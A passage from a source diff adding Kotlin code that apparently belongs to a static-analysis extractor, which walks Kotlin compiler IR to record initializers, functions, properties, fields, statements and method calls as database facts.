+                    parentId,
+                    "<clinit>",
+                    listOf(),
+                    pluginContext.irBuiltIns.unitType,
+                    extensionReceiverParameter = null,
+                    functionTypeParameters = listOf(),
+                    classTypeArgsIncludingOuterClasses = listOf()
+                )
+                val clinitId = tw.getLabelFor<DbMethod>(clinitLabel)
+                val returnType = useType(pluginContext.irBuiltIns.unitType, TypeContext.RETURN)
+                tw.writeMethods(clinitId, "<clinit>", "<clinit>()", returnType.javaResult.id, parentId, clinitId)
+                tw.writeMethodsKotlinType(clinitId, returnType.kotlinResult.id)
+
+                val locId = tw.getWholeFileLocation()
+                tw.writeHasLocation(clinitId, locId)
+
+                // add and return body block:
+                Pair(tw.getFreshIdLabel<DbBlock>().also({
+                    tw.writeStmts_block(it, clinitId, 0, clinitId)
+                    tw.writeHasLocation(it, locId)
+                }), clinitId)
+            }
+        }
+    }
+
+    private fun extractInstanceInitializerBlock(parent: StmtParent, enclosingConstructor: IrConstructor) {
+        with("object initializer block", enclosingConstructor) {
+            val constructorId = useFunction<DbConstructor>(enclosingConstructor)
+            val enclosingClass = enclosingConstructor.parentClassOrNull
+            if (enclosingClass == null) {
+                logger.errorElement("Constructor's parent is not a class", enclosingConstructor)
+                return
+            }
+
+            // Don't make this block lazily since we need to insert something at the given parent.idx position,
+            // and in the case where there are no initializers to emit an empty block is an acceptable filler.
+            val initBlockId = tw.getFreshIdLabel<DbBlock>().also {
+                tw.writeStmts_block(it, parent.parent, parent.idx, constructorId)
+                val locId = tw.getLocation(enclosingConstructor)
+                tw.writeHasLocation(it, locId)
+            }
+            extractDeclInitializers(enclosingClass.declarations, false) { Pair(initBlockId, constructorId) }
+        }
+    }
+
+    private fun extractDeclInitializers(declarations: List<IrDeclaration>, extractStaticInitializers: Boolean, makeEnclosingBlock: () -> Pair<Label<DbBlock>, Label<out DbCallable>>) {
+        val blockAndFunctionId by lazy {
+            makeEnclosingBlock()
+        }
+
+        // Extract field initializers and init blocks (the latter can only occur in object initializers)
+        var idx = 0
+
+        fun extractFieldInitializer(f: IrDeclaration) {
+            val static: Boolean
+            val initializer: IrExpressionBody?
+            val lhsType: TypeResults?
+            val vId: Label<out DbVariable>?
+            if (f is IrField) {
+                static = f.isStatic
+                initializer = f.initializer
+                lhsType = useType(f.type)
+                vId = useField(f)
+            } else if (f is IrEnumEntry) {
+                static = true
+                initializer = f.initializerExpression
+                lhsType = getEnumEntryType(f)
+                if (lhsType == null) {
+                    return
+                }
+                vId = useEnumEntry(f)
+            } else {
+                return
+            }
+
+            if (static != extractStaticInitializers || initializer == null) {
+                return
+            }
+
+            val expr = initializer.expression
+
+            val declLocId = tw.getLocation(f)
+            val stmtId = tw.getFreshIdLabel<DbExprstmt>()
+            tw.writeStmts_exprstmt(stmtId, blockAndFunctionId.first, idx++, blockAndFunctionId.second)
+            tw.writeHasLocation(stmtId, declLocId)
+            val assignmentId = tw.getFreshIdLabel<DbAssignexpr>()
+            val type = useType(expr.type)
+            tw.writeExprs_assignexpr(assignmentId, type.javaResult.id, stmtId, 0)
+            tw.writeExprsKotlinType(assignmentId, type.kotlinResult.id)
+            tw.writeHasLocation(assignmentId, declLocId)
+            tw.writeCallableEnclosingExpr(assignmentId, blockAndFunctionId.second)
+            tw.writeStatementEnclosingExpr(assignmentId, stmtId)
+            tw.writeKtInitializerAssignment(assignmentId)
+
+            val lhsId = tw.getFreshIdLabel<DbVaraccess>()
+            tw.writeExprs_varaccess(lhsId, lhsType.javaResult.id, assignmentId, 0)
+            tw.writeExprsKotlinType(lhsId, lhsType.kotlinResult.id)
+            tw.writeHasLocation(lhsId, declLocId)
+            tw.writeCallableEnclosingExpr(lhsId, blockAndFunctionId.second)
+            tw.writeStatementEnclosingExpr(lhsId, stmtId)
+
+            tw.writeVariableBinding(lhsId, vId)
+
+            if (static) {
+                extractStaticTypeAccessQualifier(f, lhsId, declLocId, blockAndFunctionId.second, stmtId)
+            }
+
+            extractExpressionExpr(expr, blockAndFunctionId.second, assignmentId, 1, stmtId)
+        }
+
+        for (decl in declarations) {
+            when (decl) {
+                is IrProperty -> {
+                    decl.backingField?.let { extractFieldInitializer(it) }
+                }
+                is IrField -> {
+                    extractFieldInitializer(decl)
+                }
+                is IrEnumEntry -> {
+                    extractFieldInitializer(decl)
+                }
+                is IrAnonymousInitializer -> {
+                    if (decl.isStatic != extractStaticInitializers) {
+                        continue
+                    }
+
+                    for (stmt in decl.body.statements) {
+                        extractStatement(stmt, blockAndFunctionId.second, blockAndFunctionId.first, idx++)
+                    }
+                }
+                else -> continue
+            }
+        }
+    }
+
+    fun extractFunction(f: IrFunction, parentId: Label<out DbReftype>, extractBody: Boolean, extractMethodAndParameterTypeAccesses: Boolean, typeSubstitution: TypeSubstitution?, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?, idOverride: Label<DbMethod>? = null, locOverride: Label<DbLocation>? = null): Label<out DbCallable>? {
+        if (isFake(f)) return null
+
+        with("function", f) {
+            DeclarationStackAdjuster(f).use {
+
+                getFunctionTypeParameters(f).mapIndexed { idx, tp -> extractTypeParameter(tp, idx) }
+
+                val id =
+                    idOverride
+                        ?: if (f.isLocalFunction())
+                            getLocallyVisibleFunctionLabels(f).function
+                        else
+                            // If this is a class that would ordinarily be replaced by a Java equivalent (e.g. kotlin.Map -> java.util.Map),
+                            // don't replace here, really extract the Kotlin version:
+                            useFunction<DbCallable>(f, parentId, classTypeArgsIncludingOuterClasses, noReplace = true)
+
+                val sourceDeclaration =
+                    if (typeSubstitution != null && idOverride == null)
+                        useFunction(f)
+                    else
+                        id
+
+                val extReceiver = f.extensionReceiverParameter
+                val idxOffset = if (extReceiver != null) 1 else 0
+                val paramTypes = f.valueParameters.mapIndexed { i, vp ->
+                    extractValueParameter(vp, id, i + idxOffset, typeSubstitution, sourceDeclaration, classTypeArgsIncludingOuterClasses, extractTypeAccess = extractMethodAndParameterTypeAccesses, locOverride)
+                }
+                val allParamTypes = if (extReceiver != null) {
+                    val extendedType = useType(extReceiver.type)
+                    tw.writeKtExtensionFunctions(id.cast<DbMethod>(), extendedType.javaResult.id, extendedType.kotlinResult.id)
+
+                    val t = extractValueParameter(extReceiver, id, 0, null, sourceDeclaration, classTypeArgsIncludingOuterClasses, extractTypeAccess = extractMethodAndParameterTypeAccesses, locOverride)
+                    listOf(t) + paramTypes
+                } else {
+                    paramTypes
+                }
+
+                val paramsSignature = allParamTypes.joinToString(separator = ",", prefix = "(", postfix = ")") { it.javaResult.signature!! }
+
+                val substReturnType = typeSubstitution?.let { it(f.returnType, TypeContext.RETURN, pluginContext) } ?: f.returnType
+
+                val locId = locOverride ?: getLocation(f, classTypeArgsIncludingOuterClasses)
+
+                if (f.symbol is IrConstructorSymbol) {
+                    val unitType = useType(pluginContext.irBuiltIns.unitType, TypeContext.RETURN)
+                    val shortName = when {
+                        f.returnType.isAnonymous -> ""
+                        typeSubstitution != null -> useType(substReturnType).javaResult.shortName
+                        else -> f.returnType.classFqName?.shortName()?.asString() ?: f.name.asString()
+                    }
+                    val constrId = id.cast<DbConstructor>()
+                    tw.writeConstrs(constrId, shortName, "$shortName$paramsSignature", unitType.javaResult.id, parentId, sourceDeclaration.cast<DbConstructor>())
+                    tw.writeConstrsKotlinType(constrId, unitType.kotlinResult.id)
+                } else {
+                    val returnType = useType(substReturnType, TypeContext.RETURN)
+                    val shortName = getFunctionShortName(f)
+                    val methodId = id.cast<DbMethod>()
+                    tw.writeMethods(methodId, shortName.nameInDB, "${shortName.nameInDB}$paramsSignature", returnType.javaResult.id, parentId, sourceDeclaration.cast<DbMethod>())
+                    tw.writeMethodsKotlinType(methodId, returnType.kotlinResult.id)
+
+                    if (extractMethodAndParameterTypeAccesses) {
+                        extractTypeAccessRecursive(substReturnType, locId, id, -1)
+                    }
+
+                    if (shortName.nameInDB != shortName.kotlinName) {
+                        tw.writeKtFunctionOriginalNames(methodId, shortName.kotlinName)
+                    }
+                }
+
+                tw.writeHasLocation(id, locId)
+                val body = f.body
+                if (body != null && extractBody) {
+                    if (typeSubstitution != null)
+                        logger.errorElement("Type substitution should only be used to extract a function prototype, not the body", f)
+                    extractBody(body, id)
+                }
+
+                extractVisibility(f, id, f.visibility)
+                if (isStaticFunction(f)) {
+                    addModifiers(id, "static")
+                }
+
+                if (f is IrSimpleFunction && f.overriddenSymbols.isNotEmpty()) {
+                    addModifiers(id, "override")
+                }
+
+                return id
+            }
+        }
+    }
+
+    private fun isStaticFunction(f: IrFunction): Boolean {
+        return f.dispatchReceiverParameter == null      // Has no dispatch receiver,
+                && !f.isLocalFunction()                 // not a local function. Local functions are extracted as instance methods with the local class instantiation as the qualifier
+                && f.symbol !is IrConstructorSymbol     // not a constructor
+    }
+
+    fun extractField(f: IrField, parentId: Label<out DbReftype>): Label<out DbField> {
+        with("field", f) {
+           DeclarationStackAdjuster(f).use {
+               declarationStack.push(f)
+               return extractField(useField(f), f.name.asString(), f.type, parentId, tw.getLocation(f), f.visibility, f, isExternalDeclaration(f), f.isFinal)
+           }
+        }
+    }
+
+
+    private fun extractField(id: Label<out DbField>, name: String, type: IrType, parentId: Label<out DbReftype>, locId: Label<DbLocation>, visibility: DescriptorVisibility, errorElement: IrElement, isExternalDeclaration: Boolean, isFinal: Boolean): Label<out DbField> {
+        val t = useType(type)
+        tw.writeFields(id, name, t.javaResult.id, parentId, id)
+        tw.writeFieldsKotlinType(id, t.kotlinResult.id)
+        tw.writeHasLocation(id, locId)
+
+        extractVisibility(errorElement, id, visibility)
+        if (isFinal) {
+            addModifiers(id, "final")
+        }
+
+        if (!isExternalDeclaration) {
+            val fieldDeclarationId = tw.getFreshIdLabel<DbFielddecl>()
+            tw.writeFielddecls(fieldDeclarationId, parentId)
+            tw.writeFieldDeclaredIn(id, fieldDeclarationId, 0)
+            tw.writeHasLocation(fieldDeclarationId, locId)
+
+            extractTypeAccessRecursive(type, locId, fieldDeclarationId, 0)
+        }
+
+        return id
+    }
+
+    fun extractProperty(p: IrProperty, parentId: Label<out DbReftype>, extractBackingField: Boolean, extractFunctionBodies: Boolean, typeSubstitution: TypeSubstitution?, classTypeArgsIncludingOuterClasses: List<IrTypeArgument>?) {
+        with("property", p) {
+            if (isFake(p)) return
+
+            DeclarationStackAdjuster(p).use {
+
+                val id = useProperty(p, parentId, classTypeArgsIncludingOuterClasses)
+                val locId = getLocation(p, classTypeArgsIncludingOuterClasses)
+                tw.writeKtProperties(id, p.name.asString())
+                tw.writeHasLocation(id, locId)
+
+                val bf = p.backingField
+                val getter = p.getter
+                val setter = p.setter
+
+                if (getter != null) {
+                    val getterId = extractFunction(getter, parentId, extractBody = extractFunctionBodies, extractMethodAndParameterTypeAccesses = extractFunctionBodies, typeSubstitution, classTypeArgsIncludingOuterClasses)?.cast<DbMethod>()
+                    if (getterId != null) {
+                        tw.writeKtPropertyGetters(id, getterId)
+                    }
+                } else {
+                    if (p.modality != Modality.FINAL || !isExternalDeclaration(p)) {
+                        logger.warnElement("IrProperty without a getter", p)
+                    }
+                }
+
+                if (setter != null) {
+                    if (!p.isVar) {
+                        logger.warnElement("!isVar property with a setter", p)
+                    }
+                    val setterId = extractFunction(setter, parentId, extractBody = extractFunctionBodies, extractMethodAndParameterTypeAccesses = extractFunctionBodies, typeSubstitution, classTypeArgsIncludingOuterClasses)?.cast<DbMethod>()
+                    if (setterId != null) {
+                        tw.writeKtPropertySetters(id, setterId)
+                    }
+                } else {
+                    if (p.isVar && !isExternalDeclaration(p)) {
+                        logger.warnElement("isVar property without a setter", p)
+                    }
+                }
+
+                if (bf != null && extractBackingField) {
+                    val fieldId = extractField(bf, parentId)
+                    tw.writeKtPropertyBackingFields(id, fieldId)
+                    if (p.isDelegated) {
+                        tw.writeKtPropertyDelegates(id, fieldId)
+                    }
+                }
+
+                extractVisibility(p, id, p.visibility)
+            }
+        }
+    }
+
+    private fun getEnumEntryType(ee: IrEnumEntry): TypeResults? {
+        val parent = ee.parent
+        if (parent !is IrClass) {
+            logger.errorElement("Enum entry with unexpected parent: " + parent.javaClass, ee)
+            return null
+        } else if (parent.typeParameters.isNotEmpty()) {
+            logger.errorElement("Enum entry parent class has type parameters: " + parent.name, ee)
+            return null
+        } else {
+            return useSimpleTypeClass(parent, emptyList(), false)
+        }
+    }
+
+    fun extractEnumEntry(ee: IrEnumEntry, parentId: Label<out DbReftype>, extractTypeAccess: Boolean) {
+        with("enum entry", ee) {
+            DeclarationStackAdjuster(ee).use {
+                val id = useEnumEntry(ee)
+                val type = getEnumEntryType(ee) ?: return
+                tw.writeFields(id, ee.name.asString(), type.javaResult.id, parentId, id)
+                tw.writeFieldsKotlinType(id, type.kotlinResult.id)
+                val locId = tw.getLocation(ee)
+                tw.writeHasLocation(id, locId)
+
+                if (extractTypeAccess) {
+                    val fieldDeclarationId = tw.getFreshIdLabel<DbFielddecl>()
+                    tw.writeFielddecls(fieldDeclarationId, parentId)
+                    tw.writeFieldDeclaredIn(id, fieldDeclarationId, 0)
+                    tw.writeHasLocation(fieldDeclarationId, locId)
+
+                    extractTypeAccess(type, locId, fieldDeclarationId, 0)
+                }
+            }
+        }
+    }
+
+    fun extractTypeAlias(ta: IrTypeAlias) {
+        with("type alias", ta) {
+            if (ta.typeParameters.isNotEmpty()) {
+                // TODO: Extract this information
+                return
+            }
+            val id = useTypeAlias(ta)
+            val locId = tw.getLocation(ta)
+            // TODO: We don't really want to generate any Java types here; we only want the KT type:
+            val type = useType(ta.expandedType)
+            tw.writeKt_type_alias(id, ta.name.asString(), type.kotlinResult.id)
+            tw.writeHasLocation(id, locId)
+        }
+    }
+
+    fun extractBody(b: IrBody, callable: Label<out DbCallable>) {
+        with("body", b) {
+            when (b) {
+                is IrBlockBody -> extractBlockBody(b, callable)
+                is IrSyntheticBody -> extractSyntheticBody(b, callable)
+                is IrExpressionBody -> extractExpressionBody(b, callable)
+                else -> {
+                    logger.errorElement("Unrecognised IrBody: " + b.javaClass, b)
+                }
+            }
+        }
+    }
+
+    fun extractBlockBody(b: IrBlockBody, callable: Label<out DbCallable>) {
+        with("block body", b) {
+            val id = tw.getFreshIdLabel<DbBlock>()
+            val locId = tw.getLocation(b)
+            tw.writeStmts_block(id, callable, 0, callable)
+            tw.writeHasLocation(id, locId)
+            for ((sIdx, stmt) in b.statements.withIndex()) {
+                extractStatement(stmt, callable, id, sIdx)
+            }
+        }
+    }
+
+    fun extractSyntheticBody(b: IrSyntheticBody, callable: Label<out DbCallable>) {
+        with("synthetic body", b) {
+            when (b.kind) {
+                IrSyntheticBodyKind.ENUM_VALUES -> tw.writeKtSyntheticBody(callable, 1)
+                IrSyntheticBodyKind.ENUM_VALUEOF -> tw.writeKtSyntheticBody(callable, 2)
+            }
+        }
+    }
+
+    fun extractExpressionBody(b: IrExpressionBody, callable: Label<out DbCallable>) {
+        with("expression body", b) {
+            val blockId = tw.getFreshIdLabel<DbBlock>()
+            val locId = tw.getLocation(b)
+            tw.writeStmts_block(blockId, callable, 0, callable)
+            tw.writeHasLocation(blockId, locId)
+
+            val returnId = tw.getFreshIdLabel<DbReturnstmt>()
+            tw.writeStmts_returnstmt(returnId, blockId, 0, callable)
+            tw.writeHasLocation(returnId, locId)
+            extractExpressionExpr(b.expression, callable, returnId, 0, returnId)
+        }
+    }
+
+    private fun getVariableLocationProvider(v: IrVariable): IrElement {
+        val init = v.initializer
+        if (v.startOffset < 0 && init != null) {
+            // IR_TEMPORARY_VARIABLEs have no proper location
+            return init
+        }
+
+        return v
+    }
+
+    fun extractVariable(v: IrVariable, callable: Label<out DbCallable>, parent: Label<out DbStmtparent>, idx: Int) {
+        with("variable", v) {
+            val stmtId = tw.getFreshIdLabel<DbLocalvariabledeclstmt>()
+            val locId = tw.getLocation(getVariableLocationProvider(v))
+            tw.writeStmts_localvariabledeclstmt(stmtId, parent, idx, callable)
+            tw.writeHasLocation(stmtId, locId)
+            extractVariableExpr(v, callable, stmtId, 1, stmtId)
+        }
+    }
+
+    fun extractVariableExpr(v: IrVariable, callable: Label<out DbCallable>, parent: Label<out DbExprparent>, idx: Int, enclosingStmt: Label<out DbStmt>) {
+        with("variable expr", v) {
+            val varId = useVariable(v)
+            val exprId = tw.getFreshIdLabel<DbLocalvariabledeclexpr>()
+            val locId = tw.getLocation(getVariableLocationProvider(v))
+            val type = useType(v.type)
+            tw.writeLocalvars(varId, v.name.asString(), type.javaResult.id, exprId)
+            tw.writeLocalvarsKotlinType(varId, type.kotlinResult.id)
+            tw.writeHasLocation(varId, locId)
+            tw.writeExprs_localvariabledeclexpr(exprId, type.javaResult.id, parent, idx)
+            tw.writeExprsKotlinType(exprId, type.kotlinResult.id)
+            tw.writeHasLocation(exprId, locId)
+            tw.writeCallableEnclosingExpr(exprId, callable)
+            tw.writeStatementEnclosingExpr(exprId, enclosingStmt)
+            val i = v.initializer
+            if (i != null) {
+                extractExpressionExpr(i, callable, exprId, 0, enclosingStmt)
+            }
+            if (!v.isVar) {
+                addModifiers(varId, "final")
+            }
+        }
+    }
+
+    fun extractStatement(s: IrStatement, callable: Label<out DbCallable>, parent: Label<out DbStmtparent>, idx: Int) {
+        with("statement", s) {
+            when(s) {
+                is IrExpression -> {
+                    extractExpressionStmt(s, callable, parent, idx)
+                }
+                is IrVariable -> {
+                    extractVariable(s, callable, parent, idx)
+                }
+                is IrClass -> {
+                    extractLocalTypeDeclStmt(s, callable, parent, idx)
+                }
+                is IrFunction -> {
+                    if (s.isLocalFunction()) {
+                        val classId = extractGeneratedClass(s, listOf(pluginContext.irBuiltIns.anyType))
+                        extractLocalTypeDeclStmt(classId, s, callable, parent, idx)
+                        val ids = getLocallyVisibleFunctionLabels(s)
+                        tw.writeKtLocalFunction(ids.function)
+
+                        if (s.origin == IrDeclarationOrigin.ADAPTER_FOR_CALLABLE_REFERENCE) {
+                            tw.writeCompiler_generated(classId, 1)
+                        }
+                    } else {
+                        logger.errorElement("Expected to find local function", s)
+                    }
+                }
+                is IrLocalDelegatedProperty -> {
+                    val blockId = tw.getFreshIdLabel<DbBlock>()
+                    val locId = tw.getLocation(s)
+                    tw.writeStmts_block(blockId, parent, idx, callable)
+                    tw.writeHasLocation(blockId, locId)
+                    extractVariable(s.delegate, callable, blockId, 0)
+
+                    val propId = tw.getFreshIdLabel<DbKt_property>()
+                    tw.writeKtProperties(propId, s.name.asString())
+                    tw.writeHasLocation(propId, locId)
+                    tw.writeKtPropertyDelegates(propId, useVariable(s.delegate))
+
+                    // Getter:
+                    extractStatement(s.getter, callable, blockId, 1)
+                    val getterLabel = getLocallyVisibleFunctionLabels(s.getter).function
+                    tw.writeKtPropertyGetters(propId, getterLabel)
+
+                    val setter = s.setter
+                    if (setter != null) {
+                        extractStatement(setter, callable, blockId, 2)
+                        val setterLabel = getLocallyVisibleFunctionLabels(setter).function
+                        tw.writeKtPropertySetters(propId, setterLabel)
+                    }
+                }
+                else -> {
+                    logger.errorElement("Unrecognised IrStatement: " + s.javaClass, s)
+                }
+            }
+        }
+    }
+
+    /**
+    Returns true iff `c` is a call to the function `fName` in the
+    `kotlin.internal.ir` package. This is used to find calls to builtin
+    functions, which need to be handled specially as they do not have
+    corresponding source definitions.
+    */
+    private fun isBuiltinCallInternal(c: IrCall, fName: String) = isBuiltinCall(c, fName, "kotlin.internal.ir")
+    /**
+    Returns true iff `c` is a call to the function `fName` in the
+    `kotlin` package. This is used to find calls to builtin
+    functions, which need to be handled specially as they do not have
+    corresponding source definitions.
+    */
+    private fun isBuiltinCallKotlin(c: IrCall, fName: String) = isBuiltinCall(c, fName, "kotlin")
+
+    /**
+    Returns true iff `c` is a call to the function `fName` in package
+    `pName`. This is used to find calls to builtin functions, which need
+    to be handled specially as they do not have corresponding source
+    definitions.
+    */
+    private fun isBuiltinCall(c: IrCall, fName: String, pName: String): Boolean {
+        val verbose = false
+        fun verboseln(s: String) { if(verbose) println(s) }
+        verboseln("Attempting builtin match for $fName")
+        val target = c.symbol.owner
+        if (target.name.asString() != fName) {
+            verboseln("No match as function name is ${target.name.asString()} not $fName")
+            return false
+        }
+
+        val targetPkg = target.parent
+        if (targetPkg !is IrPackageFragment) {
+            verboseln("No match as didn't find target package")
+            return false
+        }
+        if (targetPkg.fqName.asString() != pName) {
+            verboseln("No match as package name is ${targetPkg.fqName.asString()}")
+            return false
+        }
+        verboseln("Match")
+        return true
+    }
+
+    private fun unaryOp(id: Label<out DbExpr>, c: IrCall, callable: Label<out DbCallable>, enclosingStmt: Label<out DbStmt>) {
+        val locId = tw.getLocation(c)
+        tw.writeHasLocation(id, locId)
+        tw.writeCallableEnclosingExpr(id, callable)
+        tw.writeStatementEnclosingExpr(id, enclosingStmt)
+
+        val dr = c.dispatchReceiver
+        if (dr != null) {
+            logger.errorElement("Unexpected dispatch receiver found", c)
+        }
+
+        if (c.valueArgumentsCount < 1) {
+            logger.errorElement("No arguments found", c)
+            return
+        }
+
+        extractArgument(id, c, callable, enclosingStmt, 0, "Operand null")
+
+        if (c.valueArgumentsCount > 1) {
+            logger.errorElement("Extra arguments found", c)
+        }
+    }
+
+    private fun binOp(id: Label<out DbExpr>, c: IrCall, callable: Label<out DbCallable>, enclosingStmt: Label<out DbStmt>) {
+        val locId = tw.getLocation(c)
+        tw.writeHasLocation(id, locId)
+        tw.writeCallableEnclosingExpr(id, callable)
+        tw.writeStatementEnclosingExpr(id, enclosingStmt)
+
+        val dr = c.dispatchReceiver
+        if (dr != null) {
+            logger.errorElement("Unexpected dispatch receiver found", c)
+        }
+
+        if (c.valueArgumentsCount < 1) {
+            logger.errorElement("No arguments found", c)
+            return
+        }
+
+        extractArgument(id, c, callable, enclosingStmt, 0, "LHS null")
+
+        if (c.valueArgumentsCount < 2) {
+            logger.errorElement("No RHS found", c)
+            return
+        }
+
+        extractArgument(id, c, callable, enclosingStmt, 1, "RHS null")
+
+        if (c.valueArgumentsCount > 2) {
+            logger.errorElement("Extra arguments found", c)
+        }
+    }
+
+    private fun extractArgument(id: Label<out DbExpr>, c: IrCall, callable: Label<out DbCallable>, enclosingStmt: Label<out DbStmt>, idx: Int, msg: String) {
+        val op = c.getValueArgument(idx)
+        if (op == null) {
+            logger.errorElement(msg, c)
+        } else {
+            extractExpressionExpr(op, callable, id, idx, enclosingStmt)
+        }
+    }
+
+    private fun getDeclaringTypeArguments(callTarget: IrFunction, receiverType: IrSimpleType): List<IrTypeArgument> {
+        val declaringType = callTarget.parentAsClass
+        val receiverClass = receiverType.classifier.owner as? IrClass ?: return listOf()
+        val ancestorTypes = ArrayList<IrSimpleType>()
+
+        // Populate ancestorTypes with the path from receiverType's class to its ancestor, callTarget's declaring type.
+        fun walkFrom(c: IrClass): Boolean {
+            if(declaringType == c)
+                return true
+            else {
+                c.superTypes.forEach {
+                    val ancestorClass = (it as? IrSimpleType)?.classifier?.owner as? IrClass ?: return false
+                    ancestorTypes.add(it)
+                    if (walkFrom(ancestorClass))
+                        return true
+                    else
+                        ancestorTypes.pop()
+                }
+                return false
+            }
+        }
+
+        // If a path was found, repeatedly substitute types to get the corresponding specialisation of that ancestor.
+        return if (!walkFrom(receiverClass)) {
+            logger.errorElement("Failed to find a class declaring ${callTarget.name} starting at ${receiverClass.name}", callTarget)
+            listOf()
+        } else {
+            var subbedType = receiverType
+            ancestorTypes.forEach {
+                val thisClass = subbedType.classifier.owner as IrClass
+                subbedType = it.substituteTypeArguments(thisClass.typeParameters, subbedType.arguments) as IrSimpleType
+            }
+            subbedType.arguments
+        }
+    }
+
+    private fun extractNewExprForLocalFunction(
+        ids: LocallyVisibleFunctionLabels,
+        parent: Label<out DbExprparent>,
+        locId: Label<DbLocation>,
+        enclosingCallable: Label<out DbCallable>,
+        enclosingStmt: Label<out DbStmt>) {
+
+        val idNewexpr = extractNewExpr(ids.constructor, ids.type, locId, parent, -1, enclosingCallable, enclosingStmt)
+        extractTypeAccessRecursive(pluginContext.irBuiltIns.anyType, locId, idNewexpr, -3, enclosingCallable, enclosingStmt)
+    }
+
+    fun extractRawMethodAccess(
+        syntacticCallTarget: IrFunction,
+        callsite: IrCall,
+        enclosingCallable: Label<out DbCallable>,
+        callsiteParent: Label<out DbExprparent>,
+        childIdx: Int,
+        enclosingStmt: Label<out DbStmt>,
+        valueArguments: List<IrExpression?>,
+        dispatchReceiver: IrExpression?,
+        extensionReceiver: IrExpression?,
+        typeArguments: List<IrType> = listOf(),
+        extractClassTypeArguments: Boolean = false) {
+
+        val callTarget = syntacticCallTarget.target.realOverrideTarget
+        val id = tw.getFreshIdLabel<DbMethodaccess>()
+        val type = useType(callsite.type)
+        val locId = tw.getLocation(callsite)
+        tw.writeExprs_methodaccess(id, type.javaResult.id, callsiteParent, childIdx)
+        tw.writeExprsKotlinType(id, type.kotlinResult.id)
+        tw.writeHasLocation(id, locId)
+        tw.writeCallableEnclosingExpr(id, enclosingCallable)
+        tw.writeStatementEnclosingExpr(id, enclosingStmt)
+
+        // type arguments at index -2, -3, ...
+        extractTypeArguments(typeArguments, locId, id, enclosingCallable, enclosingStmt, -2, true)
+
+        val drType = dispatchReceiver?.type
+
+        val isFunctionInvoke = drType != null
+                && drType is IrSimpleType
+                && drType.isFunctionOrKFunction()
+                && callTarget.name.asString() == OperatorNameConventions.INVOKE.asString()
+        val isBigArityFunctionInvoke = isFunctionInvoke
+                && (drType as IrSimpleType).arguments.size > BuiltInFunctionArity.BIG_ARITY
+
+        if (callTarget.isLocalFunction()) {
+            val ids = getLocallyVisibleFunctionLabels(callTarget)
+
+            val methodId = ids.function
+            tw.writeCallableBinding(id, methodId)
+
+            extractNewExprForLocalFunction(ids, id, locId, enclosingCallable, enclosingStmt)
+        } else {
+            val methodId =
+                if (drType != null && extractClassTypeArguments && drType is IrSimpleType && !isUnspecialised(drType)) {
+
+                    val extractionMethod = if (isFunctionInvoke) {
+                        // For `kotlin.FunctionX` and `kotlin.reflect.KFunctionX` interfaces, we're making sure that we
+                        // extract the call to the `invoke` method that does exist, `kotlin.jvm.functions.FunctionX::invoke`.
+                        val interfaceType = getFunctionalInterfaceTypeWithTypeArgs(drType.arguments).classOrNull!!.owner
+                        val substituted = getJavaEquivalentClass(interfaceType) ?: interfaceType
+                        findFunction(substituted, OperatorNameConventions.INVOKE.asString())!!
+                    } else {
+                        callTarget
+                    }
+
+                    if (isBigArityFunctionInvoke) {
+                        // Big arity `invoke` methods have a special implementation on JVM, they are transformed to a call to
+                        // `kotlin.jvm.functions.FunctionN<out R>::invoke(vararg args: Any?)`, so we only need to pass the type
+                        // argument for the return type. Additionally, the arguments are extracted inside an array literal below.
+                        useFunction<DbCallable>(extractionMethod, listOf(drType.arguments.last()))
+                    } else {
+                        useFunction<DbCallable>(extractionMethod, getDeclaringTypeArguments(callTarget, drType))
+                    }
+                }
+                else
+                    useFunction<DbCallable>(callTarget)
+
+            tw.writeCallableBinding(id, methodId)
+
+            if (dispatchReceiver != null) {
+                extractExpressionExpr(dispatchReceiver, enclosingCallable, id, -1, enclosingStmt)
+            } else if (isStaticFunction(callTarget)) {
+                extractStaticTypeAccessQualifier(callTarget, id, locId, enclosingCallable, enclosingStmt)
+            }
+        }
+
+        val idxOffset = if (extensionReceiver != null) 1 else 0
+
+        val argParent = if (isBigArityFunctionInvoke) {
+            extractArrayCreationWithInitializer(id, valueArguments.size + idxOffset, locId, enclosingCallable, enclosingStmt)
+        } else {
+            id
+        }
+
+        if (extensionReceiver != null) {
+            extractExpressionExpr(extensionReceiver, enclosingCallable, argParent, 0, enclosingStmt)
+        }
+
+        extractCallValueArguments(argParent, valueArguments, enclosingStmt, enclosingCallable, idxOffset)
+    }
+
+    private fun extractStaticTypeAccessQualifier(target: IrDeclaration, parentExpr: Label<out DbExprparent>, locId: Label<DbLocation>, enclosingCallable: Label<out DbCallable>, enclosingStmt: Label<out DbStmt>) {
+        if (target.isStaticOfClass) {
+            extractTypeAccessRecursive(target.parentAsClass.toRawType(), locId, parentExpr, -1, enclosingCallable, enclosingStmt)
+        } else if (target.isStaticOfFile) {
+            extractTypeAccess(useFileClassType(target.parent as IrFile), locId, parentExpr, -1, enclosingCallable, enclosingStmt)
+        }
+    }
+
+    private val IrDeclaration.isStaticOfClass: Boolean
+        get() = this.isStatic && parent is IrClass
+
+    private val IrDeclaration.isStaticOfFile: Boolean
+        get() = this.isStatic && parent is IrFile
+
+    private val IrDeclaration.isStatic: Boolean
+        get() = this is IrSimpleFunction && dispatchReceiverParameter == null ||
+                this is IrField && this.isStatic ||
+                this is IrEnumEntry
+
+
+    private fun extractCallValueArguments(callId: Label<out DbExprparent>, call: IrFunctionAccessExpression, enclosingStmt: Label<out DbStmt>, enclosingCallable: Label<out DbCallable>, idxOffset: Int) =
+        extractCallValueArguments(callId, (0 until call.valueArgumentsCount).map { call.getValueArgument(it) }, enclosingStmt, enclosingCallable, idxOffset)
+
+    private fun extractCallValueArguments(callId: Label<out DbExprparent>, valueArguments: List<IrExpression?>, enclosingStmt: Label<out DbStmt>, enclosingCallable: Label<out DbCallable>, idxOffset: Int) {
+        var i = 0
+        valueArguments.forEach { arg ->
+            if(arg != null) {
+                if (arg is IrVararg) {
+                    arg.elements.forEachIndexed { varargNo, vararg -> extractVarargElement(vararg, enclosingCallable, callId, i + idxOffset + varargNo, enclosingStmt) }
+                    i += arg.elements.size
+                } else {
+                    extractExpressionExpr(arg, enclosingCallable, callId, (i++) + idxOffset, enclosingStmt)
+                }
+            }
+        }
+    }
+
+    fun findFunction(cls: IrClass, name: String): IrFunction? = cls.declarations.find { it is IrFunction && it.name.asString() == name } as IrFunction?
+
+    val jvmIntrinsicsClass by lazy {
+        val result = pluginContext.referenceClass(FqName("kotlin.jvm.internal.Intrinsics"))?.owner
+        result?.let { extractExternalClassLater(it) }
+        result
+    }
+
